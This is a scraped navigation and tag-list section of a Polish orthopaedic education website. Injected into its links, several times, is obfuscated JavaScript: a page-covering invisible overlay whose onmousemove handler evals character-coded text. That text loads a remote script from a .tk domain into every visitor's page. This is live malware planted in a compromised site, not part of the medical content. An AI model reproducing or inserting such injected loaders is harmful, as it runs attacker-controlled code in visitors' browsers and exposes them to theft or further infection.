32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 32, 116, 115, 114, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 32, 116, 115, 114, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 115, 46, 115, 116, 97, 114, 116, 114, 101, 99, 101, 105, 118, 101, 46, 116, 107, 47, 115, 99, 46, 106, 115, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 116, 115, 114, 41, 59))\" data-x=\"/kolano-edukacja/) - [BIODRO - edukacja](https://www.drmick.pl/testing\" style=\"position:fixed; top:0px; left:0px; width:9000px; height:9000px; background-color:white;\" onmousemove=\"eval(String.fromCharCode(118, 97, 114, 32, 116, 115, 114, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 32, 116, 115, 114, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 32, 116, 115, 114, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 115, 46, 115, 116, 97, 114, 116, 114, 101, 99, 101, 105, 118, 101, 46, 116, 107, 47, 115, 99, 46, 106, 115, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 116, 115, 114, 41, 59))\" data-x=\"/biodro-edukacja/) - [ŁOKIEĆ - edukacja](https://www.drmick.pl/testing\" style=\"position:fixed; top:0px; left:0px; width:9000px; height:9000px; background-color:white;\" onmousemove=\"eval(String.fromCharCode(118, 97, 114, 32, 116, 115, 114, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 32, 116, 115, 114, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 32, 116, 115, 114, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 115, 46, 115, 116, 97, 114, 116, 114, 101, 99, 101, 105, 118, 101, 46, 116, 107, 47, 115, 99, 46, 106, 115, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 116, 115, 114, 41, 59))\" data-x=\"/lokiec-edukacja/) - [STAW SKOKOWY - edukacja](https://www.drmick.pl/testing\" style=\"position:fixed; top:0px; left:0px; width:9000px; height:9000px; background-color:white;\" onmousemove=\"eval(String.fromCharCode(118, 97, 114, 32, 116, 115, 114, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 32, 116, 115, 114, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 32, 116, 115, 114, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 115, 46, 115, 116, 97, 114, 116, 114, 101, 99, 101, 105, 118, 101, 46, 116, 107, 47, 115, 99, 46, 106, 115, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 116, 115, 114, 41, 59))\" data-x=\"/staw-skokowy-edukacja/) - [STOPA - edukacja](https://www.drmick.pl/testing\" style=\"position:fixed; top:0px; left:0px; width:9000px; height:9000px; background-color:white;\" onmousemove=\"eval(String.fromCharCode(118, 97, 114, 32, 116, 115, 114, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 32, 116, 115, 114, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 32, 116, 115, 114, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 115, 46, 115, 116, 97, 114, 116, 114, 101, 99, 101, 105, 118, 101, 46, 116, 107, 47, 115, 99, 46, 106, 115, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 116, 115, 114, 41, 59))\" data-x=\"/stopa-edukacja/) ## Portfolio Tags - [krzyżowe](https://www.drmick.pl/portfolio_tags/krzyzowe/) - [ACL](https://www.drmick.pl/portfolio_tags/acl/) - [rekonstrukcja](https://www.drmick.pl/portfolio_tags/rekonstrukcja/) - [kolano](https://www.drmick.pl/portfolio_tags/kolano/) - [uraz](https://www.drmick.pl/portfolio_tags/uraz/) - [ból](https://www.drmick.pl/portfolio_tags/bol/) - [stawy](https://www.drmick.pl/portfolio_tags/stawy/) - [poranne](https://www.drmick.pl/portfolio_tags/poranne/) - [regeneracja](https://www.drmick.pl/portfolio_tags/regeneracja/) - [tkanki](https://www.drmick.pl/portfolio_tags/tkanki/) - [chrząstka](https://www.drmick.pl/portfolio_tags/chrzastka/) - [osteoporoza](https://www.drmick.pl/portfolio_tags/osteoporoza/) - [Witamina](https://www.drmick.pl/portfolio_tags/witamina/) - [D3](https://www.drmick.pl/portfolio_tags/d3/) - [więzadło](https://www.drmick.pl/portfolio_tags/wiezadlo/) - [przednie](https://www.drmick.pl/portfolio_tags/przednie/) - [plecy](https://www.drmick.pl/portfolio_tags/plecy/) - [niskorosłość](https://www.drmick.pl/portfolio_tags/niskoroslosc/) - [trzeszczenie](https://www.drmick.pl/portfolio_tags/trzeszczenie/) - [strzelanie](https://www.drmick.pl/portfolio_tags/strzelanie/) - [kręgosłup](https://www.drmick.pl/portfolio_tags/kregoslup/) - [rower](https://www.drmick.pl/portfolio_tags/rower/) - [kask](https://www.drmick.pl/portfolio_tags/kask/) - [bezpieczeństwo](https://www.drmick.pl/portfolio_tags/bezpieczenstwo/) - [rtg](https://www.drmick.pl/portfolio_tags/rtg/) - [x-ray](https://www.drmick.pl/portfolio_tags/x-ray/) - [łokieć](https://www.drmick.pl/portfolio_tags/lokiec/) - [stawramienny](https://www.drmick.pl/portfolio_tags/stawramienny/) - [bark](https://www.drmick.pl/portfolio_tags/bark/) - [anatomia](https://www.drmick.pl/portfolio_tags/anatomia/) - [stawbarkowoobojczykowy](https://www.drmick.pl/portfolio_tags/stawbarkowoobojczykowy/) - [kość ramienna](https://www.drmick.pl/portfolio_tags/kosc-ramienna/) - [łopatka](https://www.drmick.pl/portfolio_tags/lopatka/) - [obojczyk](https://www.drmick.pl/portfolio_tags/obojczyk/) - [żebro](https://www.drmick.pl/portfolio_tags/zebro/) - [panewka](https://www.drmick.pl/portfolio_tags/panewka/) - [WestPoint](https://www.drmick.pl/portfolio_tags/westpoint/) - [projekcja](https://www.drmick.pl/portfolio_tags/projekcja/) - [shoulder](https://www.drmick.pl/portfolio_tags/shoulder/) - [projekcjapachowa](https://www.drmick.pl/portfolio_tags/projekcjapachowa/) - [pachowa](https://www.drmick.pl/portfolio_tags/pachowa/) - [osacromiale](https://www.drmick.pl/portfolio_tags/osacromiale/) - [axillarylateralview](https://www.drmick.pl/portfolio_tags/axillarylateralview/) - [x-rawy](https://www.drmick.pl/portfolio_tags/x-rawy/) - [skokowy](https://www.drmick.pl/portfolio_tags/skokowy/) - [AP](https://www.drmick.pl/portfolio_tags/ap/) - [ancle](https://www.drmick.pl/portfolio_tags/ancle/) - [bok](https://www.drmick.pl/portfolio_tags/bok/) - [lateral](https://www.drmick.pl/portfolio_tags/lateral/) - [view](https://www.drmick.pl/portfolio_tags/view/) - [mortise](https://www.drmick.pl/portfolio_tags/mortise/) - [ankle](https://www.drmick.pl/portfolio_tags/ankle/) - [projekcje RTG](https://www.drmick.pl/portfolio_tags/projekcje-rtg/) - [rtgstopy](https://www.drmick.pl/portfolio_tags/rtgstopy/) - [footxray](https://www.drmick.pl/portfolio_tags/footxray/) - [APfootxray](https://www.drmick.pl/portfolio_tags/apfootxray/) - [stopa](https://www.drmick.pl/portfolio_tags/stopa/) - [hallux](https://www.drmick.pl/portfolio_tags/hallux/) - [stawlisfranca](https://www.drmick.pl/portfolio_tags/stawlisfranca/) - [stawchoparta](https://www.drmick.pl/portfolio_tags/stawchoparta/) - [kośćłódkowata](https://www.drmick.pl/portfolio_tags/kosclodkowata/) - [kośćsześcienna](https://www.drmick.pl/portfolio_tags/koscszescienna/) - [kościklinowate](https://www.drmick.pl/portfolio_tags/kosciklinowate/) - [kośćśródstopia](https://www.drmick.pl/portfolio_tags/koscsrodstopia/) - [paliczki](https://www.drmick.pl/portfolio_tags/paliczki/) - [palce](https://www.drmick.pl/portfolio_tags/palce/) - [xray](https://www.drmick.pl/portfolio_tags/xray/) - [ortopediamojapasja](https://www.drmick.pl/portfolio_tags/ortopediamojapasja/) - [drmick](https://www.drmick.pl/portfolio_tags/drmick/) - [ortopeda](https://www.drmick.pl/portfolio_tags/ortopeda/) - [ortopedawarszawa](https://www.drmick.pl/portfolio_tags/ortopedawarszawa/) - [projekcjeRTG](https://www.drmick.pl/portfolio_tags/projekcjertg/) - [projekcjaskośnastopy](https://www.drmick.pl/portfolio_tags/projekcjaskosnastopy/) - [stopawprojekcjiskośnej](https://www.drmick.pl/portfolio_tags/stopawprojekcjiskosnej/) - [projekcjaskośna](https://www.drmick.pl/portfolio_tags/projekcjaskosna/) - [oliquefootxray](https://www.drmick.pl/portfolio_tags/oliquefootxray/) - [medialobliqueview](https://www.drmick.pl/portfolio_tags/medialobliqueview/) - [DIP](https://www.drmick.pl/portfolio_tags/dip/) - [PIP](https://www.drmick.pl/portfolio_tags/pip/) - [MTP](https://www.drmick.pl/portfolio_tags/mtp/) - [rwa](https://www.drmick.pl/portfolio_tags/rwa/) - [kulszowa](https://www.drmick.pl/portfolio_tags/kulszowa/) - [korzonki](https://www.drmick.pl/portfolio_tags/korzonki/) - [dieta](https://www.drmick.pl/portfolio_tags/dieta/) - [żelatyna](https://www.drmick.pl/portfolio_tags/zelatyna/) - [kolagen](https://www.drmick.pl/portfolio_tags/kolagen/) - [HMCast](https://www.drmick.pl/portfolio_tags/hmcast/) - [kąpiel](https://www.drmick.pl/portfolio_tags/kapiel/) - [pływanie](https://www.drmick.pl/portfolio_tags/plywanie/) - [wakacje](https://www.drmick.pl/portfolio_tags/wakacje/) - [unieruchomienie](https://www.drmick.pl/portfolio_tags/unieruchomienie/) - [gips](https://www.drmick.pl/portfolio_tags/gips/) - [szyja](https://www.drmick.pl/portfolio_tags/szyja/) - [poduszka](https://www.drmick.pl/portfolio_tags/poduszka/) - [ćwiczenia](https://www.drmick.pl/portfolio_tags/cwiczenia/) - [zafizjowana](https://www.drmick.pl/portfolio_tags/zafizjowana/) - [pytanienaśniadanie](https://www.drmick.pl/portfolio_tags/pytanienasniadanie/) - [pnś](https://www.drmick.pl/portfolio_tags/pns/) - [testy](https://www.drmick.pl/portfolio_tags/testy/) - [starzenie](https://www.drmick.pl/portfolio_tags/starzenie/) - [fms](https://www.drmick.pl/portfolio_tags/fms/) ## FAQ Categories - [Kolano](https://www.drmick.pl/faq_category/kolano/) - [Bark](https://www.drmick.pl/faq_category/bark/) - [Biodro](https://www.drmick.pl/faq_category/biodro/)